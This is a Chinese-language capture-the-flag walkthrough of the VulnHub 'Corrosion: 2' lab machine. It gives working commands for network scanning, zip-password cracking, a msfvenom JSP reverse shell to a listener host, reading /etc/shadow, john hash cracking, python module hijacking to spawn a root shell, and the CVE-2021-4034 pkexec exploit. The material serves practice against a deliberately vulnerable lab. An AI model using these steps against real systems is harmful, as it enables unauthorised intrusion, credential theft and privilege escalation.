準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:CORROSION: 2,網段地址我這裡設定的橋接,所以與本機電腦在同一網段,下載地址:https://download.vulnhub.com/corrosion/Corrosion2.ova.torrent,下載後直接vbox開啟即可。
知識點:CVE-2021-4034漏洞利用、fcrackzip爆破zip檔案密碼、tomcat獲取shell(知賬戶和密碼)、unshadow生成密碼本、john爆破密碼。
資訊收集:
通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.100.0/24,獲得靶機地址:192.168.100.244。
掃描下開放的埠和對應的服務:nmap -T4 -sV -p- -A 192.168.100.244,顯示開放了22、80、8080埠,開啟了ssh服務、apache服務。
使用dirmap進行目錄掃描,80埠未發現有用資訊,但是在8080埠發現readme.txt、backup.zip等檔案,掃描命令:python dirmap.py -i http://192.168.100.244:8080/ -lcf。
存取下80埠,在80埠的原始碼頁面中發現讓我們檢視https://launchpad.net/bugs/1288690網頁。
存取下8080埠和埠的readme.txt檔案,下載backup.zip檔案進行解壓檢視,但是需要密碼。
資訊利用:
使用zip密碼爆破工具(fcrackzip)進行密碼爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip,獲得密碼:@administrator_hi5。
在解壓的tomcat-users.xml檔案中發現兩組賬戶和密碼:manager/melehifokivai、admin/melehifokivai。
使用賬戶名和密碼在8080埠登入。
想著部署專案實現shell反彈,但是失敗了,war包生成命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.100.166 LPORT=6688 -f war -o upfine.war,在本地上傳部署後,存取下該服務。
shell獲取:
在msf中存在一個配合賬號和密碼獲取tomcat shell許可權的exp。
選擇該exp:use 6,設定下賬號、密碼、ip資訊、埠資訊,然後run即可。
使用當前使用者在系統裡檢視下目錄資訊和檔案資訊,在/home下發現兩個使用者資料夾,但是/jaye的資料夾無許可權檢視,在randy檔案下下發現了note.txt和user.txt進行檢視,獲得第一個flag。
越權存取:
在虛擬機器器的初始介面存在三個賬戶:jaye、randy、tomcat,發現jaye賬戶使用密碼:melehifokivai可以成功登入或者使用xshell登入。
使用jaye賬戶檢視下目錄資訊和檔案資訊,在jaye賬戶下的Files檔案下下發現具有root許可權和當前賬戶可執行許可權的look命令,在/root檔案下發現root.txt檔案,因此直接使用look命令讀取下root.txt資訊,成功獲取到flag值。
許可權提升:(兩種方法)
第一種:
在jaye賬戶下,使用look命令讀取下/etc/shadow檔案和/etc/passwd檔案,命令:./look '' 檔名,將檔案內容複製到本地使用unshadow生成密碼本,然後進行暴力破解,生成密碼本命令:unshadow passwd shadow > pass.txt。
使用john進行密碼爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt,獲得兩組賬戶名和密碼:melehifokivai/jaye、07051986randy/randy,第一組和前面的猜測一樣。emmm時間是真的長,差不多五個小時跑出來的,可以在晚上跑。
使用ssh服務登入randy賬戶,檢視下當前使用者有哪些可以不需要root密碼就可擁有root許可權的檔案,發現了randombase64.py。
檢視下該檔案許可權,發現當前使用者不具備該檔案的寫入許可權,檢視該檔案內容,發現其引入了base64模組。
檢視下base64檔案的位置,命令:locate base64。
檢視下base64.py的許可權,發現當前使用者具有讀寫許可權,因此我們可以在此檔案中寫入shell指令碼。
寫入指令碼時缺少vim命令,只能採用nano來編輯py檔案,寫入:import os 和 os.system("/bin/bash")。
shell寫入完成後,執行 randombase64.py,命令:sudo /usr/bin/python3.8 /home/randy/randombase64.py,成功獲取到root許可權並讀取flag值。
第二種:
首先檢視下不需要root密碼可以執行的root許可權命令,sudo -l,顯示不存在,這個行不通。
檢視下具有root許可權的檔案,命令:find / -perm -4000 -type f 2>/dev/null,發現/usr/lib/policykit-1/polkit-agent-helper-1,
下載exp在本地進行編譯(make):https://github.com/berdav/CVE-2021-4034,然後將編譯好的檔案上傳到靶機。
在執行時出現了錯誤,顯示:/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found,就對比了一下靶機和原生的該檔案,發現靶機不存在這個GLIBC_2.34,命令:strings /usr/lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC。
但是生成的指令碼在kali中測試是可以直接獲取root許可權的,(這裡想著把靶機的檔案複製過來就行了,但是直接導致kali命令都不能用了,還好有個映象,直接恢復映象了)沒辦法就只能重新找可利用的exp,這個網站:https://github.com/arthepsy/CVE-2021-4034,下載下來poc進行gcc編譯,然後上傳到靶機進行執行即可獲得root許可權。